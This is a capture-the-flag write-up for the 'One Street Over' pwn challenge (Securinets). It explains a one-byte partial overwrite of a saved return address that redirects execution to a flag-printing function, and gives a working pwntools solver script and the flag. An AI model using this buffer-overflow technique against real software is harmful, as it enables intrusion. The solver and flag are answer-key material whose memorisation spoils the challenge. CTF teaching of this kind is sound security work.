One Street Over

Walkthrough

Solution

receive_route forces a 41-byte read into a 32-byte buffer. Forty padding bytes reach the saved return address, but only its least-significant byte can be changed. Because the binary is non-PIE and the relevant code is aligned within the same address region, replace that byte with the low byte of enter_the_safehouse. The partial overwrite redirects execution to the flag-printing function.

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3
from pwn import *

context.log_level = "error"
elf = ELF("./main", checksec=False)

io = remote("127.0.0.1", 9007)

payload = b"A" * 40
payload += p8(elf.symbols["enter_the_safehouse"] & 0xff)

io.sendafter(b"FINAL TURN: ", payload)
io.recvuntil(b"Securinets{")
flag = b"Securinets{" + io.recvuntil(b"}")
print(flag.decode())
io.close()

Flag

Securinets{0n3_byt3_0n3_str33t_0n3_f1n4l_l34k}